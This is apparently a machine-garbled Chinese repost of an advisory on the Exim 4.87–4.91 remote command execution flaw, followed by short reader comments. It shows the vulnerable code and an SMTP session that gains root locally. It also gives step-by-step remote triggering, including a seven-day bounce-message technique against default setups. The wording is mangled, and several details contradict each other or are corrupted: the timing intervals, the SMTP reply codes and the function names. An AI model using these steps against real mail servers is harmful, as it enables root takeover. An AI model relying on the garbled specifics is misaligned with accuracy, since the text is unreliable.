Exim远程“命令”执行漏洞细节
在对Exim邮件服务器最新版变化进行编码财务审计时(htpp://es.wikipedia.org/wiki/Exim),我们发现了一个RCE系统漏洞,其影响版本号为4.87-4.91。但是在这个RCE系统漏洞中,RCE指的是远程命令(Command)实行,并不是传统上的远程控制编码(Code)实行。网络攻击可以用root用户真实身份通过execv()涵数进行远程命令实行操作。
网络攻击利用该系统漏洞在服务器端当地进行进攻或者在非默认设置配备下进行进攻时并没什么其他的限制条件,如果网络攻击远程控制利用该系统漏洞,网络攻击必须和网络服务器保持7天的联接(每隔十多分钟需要向服务器端传输1字节数数据)。因为Exim的编码复杂,也有可能存在其他的攻击方式或者更简单更快速的攻击方式。
Exim该系统漏洞从4.87(2016.4.6)版本号出现,因为其配备中#ifdef EXPERIMENTAL_EVENT改为了#ifndef DISABLE_EVENT。老版本号中如果手动式变更了EXPERIMENTAL_EVENT属性为enable同样可以开启系统漏洞。该系统漏洞在4.92版本号得到了修补。
0×01 当地系统漏洞复现
系统漏洞产生位置在deliver_message()涵数:
if (process_recipients != RECIP_ACCEPT){
uschar * save_local = deliver_localpart;
const uschar * save_domain = deliver_domain;
deliver_localpart=expand_string(string_sprintf("${local_Party:%s}", new->address));
deliver_domain =expand_string(string_sprintf("${domain:%s}", new->address));
(void) event_raise(event_action,usb"msg:fail:internal", new->message);
deliver_localpart = save_local;
deliver_domain = save_domain;
}
因为expand_string()涵数可以鉴别”${run{}}”文件格式的空格符指令,new->address为电子邮件收货人详细地址,网络攻击可以在当地发送邮件到”${run{…}}@localhost”,localhost为Exim的本地区,网络攻击就可以以root用户管理权限运行命令,具体系统漏洞开启效果如下:
john@debian:~$ cat /tmp/id
cat: /tmp/id: No such file or directory
john@debian:~$ nc 127.0.0.1 25
220 debian ESMTP Exim 4.89 Thu, 23 May 2019 09:10:41 -0400
HELO localhost
250 debian Hello localhost [127.0.0.1]
MAIL FROM:
250 OK
RCPT TO:
250 Accepted
DATA
354 Enter message, ending with "." on a line by itself
Received: 1
Received: 2
Received: 3
Received: 4
Received: 5
Received: 6
Received: 7
Received: 8
Received: 9
Received: 10
Received: 11
Received: 12
Received: 13
Received: 14
Received: 15
Received: 16
Received: 17
Received: 18
Received: 19
Received: 20
Received: 21
Received: 22
Received: 23
Received: 24
Received: 25
Received: 26
Received: 27
Received: 28
Received: 29
Received: 30
Received: 31
.
250 OK id=1hTnYa-0000zp-8b
QUIT
221 debian closing connection
john@debian:~$ cat /tmp/id
cat: /tmp/id: Permission denied
root@debian:~# cat /tmp/id
uid=0(root) gid=111(Debian-exim) groups=111(Debian-exim)
uid=0(root) gid=111(Debian-exim) groups=111(Debian-exim)
在上面的开启系统漏洞实例中:
1.向电子邮件服务器发送超出received_headers_max默认设置最大频次(30次)的”Received:”头部数据,造成网络服务器从将process_recipients设置为RECIP_FAIL_LOOP进而实行系统漏洞编码。
2.在检测中我们绕开了收货人详细地址中的不法空格符检测(blackslashes涵数)。
0×02 远程控制系统漏洞复现
当地系统漏洞开启的方法无法用以远程控制实行,因为在Exim的准入条件控制目录中默认设置配备要求:收货人详细地址的当地部分(坐落于@标记前边的部分)理应是本地用户。
john@debian:~$ nc 192.168.56.101 25
230 debian ESMTP Exim 4.89 Thu, 23 May 2019 10:07:38 -0400
HELO localhost
350 debian Hello localhost [192.168.56.101]
MAIL FROM:
350 Ok
RCPT TO:
400 Unrouteable address
我们最后找到远程控制开启系统漏洞的方式,第一类方式是在网络服务器非默认设置配备的情况时,二种是网络服务器处于默认设置配备情况下。二种方式更复杂更难开启。
非默认设置配备
1.Administrator用户将ACL控制目录清除,当地开启系统漏洞的方式可以同样适用远程控制系统漏洞开启。
2.Exim配备中可以鉴别收货人详细地址中当地部分的标识(”local_Party_suffix = +* : -*” ),网络攻击可以结构”balrog+${run{…}}@localhost”的收货人详细地址来开启系统漏洞(balrog为某一个本地用户)。
3.如果Exim配备时要将电子邮件中继到远程控制域中,网络攻击就可结构”${run{…}}@khazad.dum”的收货人详细地址来开启系统漏洞(khazad.dum为Exim配备中的远程控制域的网站域名),因为Exim网络服务器的控制目录总是检查远程控制的详细地址(@标记后边的部分),不会对当地部分进行检测。
默认设置配备
首先我们要利用”回弹力”信息来解决ACL控制目录的用户验证问题。如果我们向电子邮件服务器发送的电子邮件无法送达到收货人,Exim会自动回弹力一个上传失败信息到发件人。那样的话电子邮件发件人就变为了回弹力信息的收货人,进而可以运行命令。因为ACL总是检查初始发件人的域部分详细地址,并不会检查当地部分。
随后回弹力信息必须要通过系统漏洞编码中的process_recipients != RECIP_ACCEPT检查。因为我们不能够控制回弹力信息的头部,所以无法重复上传超出30次。但是如果回弹力信息7天内仍无法被成功上传,Exim会将process_recipients设置为RECIP_FAIL_TIMEOUT进而实行系统漏洞编码。
最后需要解决的问题就是回弹力信息会在2天内被网络服务器自动丢掉,否则回弹力信息被延迟上传(开启临时上传失败对策),并且在4天内重发对策会将延迟上传详细地址变成失败上传详细地址,促使网络服务器在7日内舍弃对回弹力信息的丢掉操作,接下去是具体的操作步骤:1.我们向有系统漏洞的Exim服务器发送一封信邮件地址不可达的电子邮件。电子邮件的收货人详细地址为”postmaster”,发件人详细地址为”${run{…}}@khazad.dum”,khazad.dum为我们自己可控性的域。
2.因为电子邮件无法签收,Exim会联接到khazad.dum并且上传回弹力信息,回弹力信息的收货人为:”${run{…}}@khazad.dum”。
3在接下去的7日内,我们需要每隔4分钟向服务器发送1字节数数据,进而保持与网络服务器的联接。
4.在7天之后服务器返回上传失败信息(“400 Unrouteable address”),回弹力信息会自动交给post_process_iphine()处理。该功能会将回弹力信息自动丢掉,但是回弹力信息存在时间超出了二天后就不会被自动丢掉。
if (!*sender_address && message_age >= ignore_bounce_errors_after)
setflag(addr, af_ignore_error);
在这里message_age并不是回弹力信息的真实存在时间(超出7天),是该回弹力信息载入到Exim网络服务器spool中的时间,可能只有几秒钟或者十多分钟。
5.最后Exim网络服务器会载入spool中的回弹力信息,将process_recipients设置为RECIP_FAIL_TIMEOUT,这时message_age为回弹力信息的简直存在时间,进而可以运行命令”${run{…}}@khazad.dum”。
注意:在系统漏洞检测过程中可以改动Exim配备信息中timeout_frozen_after和ignore_bounce_errors的时间。
相关文章
- 4条评论
- 鸢旧瘾然2022-05-30 18:42:15
- 的联接(每隔十多分钟需要向服务器端传输1字节数数据)。因为Exim的编码复杂,也有可能存在其他的攻击方式或者更简单更快速的攻击方式。Exim该系统漏洞从4.87(2016.4.6)版本号出现,因为其配备中#ifdef EXPERIMENTAL_EVENT改为了#ifndef
- 性许痴妓2022-05-30 22:41:57
- lpart; const uschar * save_domain = deliver_domain; deliver_localpart=expand_string(string_sprintf("${local_
- 惑心笙沉2022-05-31 00:37:27
- at /tmp/idcat: /tmp/id: Permission deniedroot@debian:~# cat /tmp/iduid=0(root) gid=111(Debian-exim) grou
- 闹旅昭浅2022-05-30 23:45:27
- 联接到khazad.dum并且上传回弹力信息,回弹力信息的收货人为:”${run{…}}@khazad.dum”。3在接下去的7日内,我们需要每隔4分钟向服务器发送1字节数数据,进而保持与网络服务器的联接。4.在7天之后